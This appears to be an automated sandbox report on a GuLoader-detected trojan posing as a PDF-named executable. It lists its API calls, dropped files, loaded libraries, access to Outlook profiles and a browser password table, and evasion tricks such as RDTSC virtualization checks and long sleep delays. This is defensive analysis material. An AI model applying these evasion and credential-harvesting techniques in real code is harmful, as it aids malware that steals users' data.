Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_394E6FA0	4_2_394E6FA0
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_394E8328	4_2_394E8328

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Code function: String function: 00402BBF appears 49 times

Source: SWIFT091816-24_pdf.exe, 00000004.00000002.2960082582.0000000035EA7000.00000004.00000010.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameUNKNOWN_FILET vs SWIFT091816-24_pdf.exe

Source: SWIFT091816-24_pdf.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@5/5

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 0_2_004032A0 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,#17,OleInitialize,LdrInitializeThunk,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,LdrInitializeThunk,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,LdrInitializeThunk,ExitWindowsEx,ExitProcess,		0_2_004032A0
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_004032A0 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,#17,OleInitialize,LdrInitializeThunk,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,LdrInitializeThunk,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,LdrInitializeThunk,ExitWindowsEx,ExitProcess,		4_2_004032A0

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Code function: 0_2_004045B4 GetDlgItem,SetWindowTextW,LdrInitializeThunk,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,LdrInitializeThunk,SetDlgItemTextW,

0_2_004045B4

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Code function: 0_2_00402095 LdrInitializeThunk,CoCreateInstance,LdrInitializeThunk,LdrInitializeThunk,

0_2_00402095

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens

Jump to behavior

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

File created: C:\Users\user\AppData\Local\Temp\nsf68FD.tmp

Jump to behavior

Source: SWIFT091816-24_pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.00000000362E5000.00000004.00000800.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.00000000362F3000.00000004.00000800.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.00000000362D5000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SWIFT091816-24_pdf.exe

ReversingLabs: Detection: 26%

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

File read: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe "C:\Users\user\Desktop\SWIFT091816-24_pdf.exe"
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process created: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe "C:\Users\user\Desktop\SWIFT091816-24_pdf.exe"
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process created: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe "C:\Users\user\Desktop\SWIFT091816-24_pdf.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Benchership141.lnk.0.dr

LNK file: ..\..\..\mindevrdigt\boghandlermedhjlperens.tor

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: SWIFT091816-24_pdf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000000.00000002.2465323286.0000000002B76000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2936005396.0000000001816000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Code function: 0_2_10001B18 LdrInitializeThunk,GlobalAlloc,LdrInitializeThunk,LdrInitializeThunk,lstrcpyW,lstrcpyW,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,GlobalFree,GlobalFree,GlobalFree,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,lstrcpyW,LdrInitializeThunk,LdrInitializeThunk,GetModuleHandleW,LdrInitializeThunk,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 0_2_10002DE0 push eax; ret	0_2_10002E0E
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_3600A487 push dword ptr [ebp+ecx-75h]; retf	4_2_3600A492
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_3600A4F9 push dword ptr [ebp+ebx-75h]; iretd	4_2_3600A4FD
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_384177EA push edx; retf	4_2_384177EB
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_394EC897 push es; retf	4_2_394EC898

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

File created: C:\Users\user\AppData\Local\Temp\nsq69D9.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	API/Special instruction interceptor: Address: 30FA9C1
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	API/Special instruction interceptor: Address: 1D9A9C1

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	RDTSC instruction interceptor: First address: 30C2ABB second address: 30C2ABB instructions: 0x00000000 rdtsc 0x00000002 cmp ecx, 0849B8CFh 0x00000008 cmp ebx, ecx 0x0000000a jc 00007F64ACF50A72h 0x0000000c cmp al, 5Fh 0x0000000e inc ebp 0x0000000f inc ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	RDTSC instruction interceptor: First address: 1D62ABB second address: 1D62ABB instructions: 0x00000000 rdtsc 0x00000002 cmp ecx, 0849B8CFh 0x00000008 cmp ebx, ecx 0x0000000a jc 00007F64ACF553F2h 0x0000000c cmp al, 5Fh 0x0000000e inc ebp 0x0000000f inc ebx 0x00000010 rdtsc

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Memory allocated: 35F60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Memory allocated: 361F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Memory allocated: 35F60000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 599407	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 598688	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 598501	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 598121	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 598016	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 597688	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Thread delayed: delay time: 593860	Jump to behavior

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Window / User API: threadDelayed 1464			Jump to behavior
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Window / User API: threadDelayed 8353			Jump to behavior

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsq69D9.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

API coverage: 3.5 %

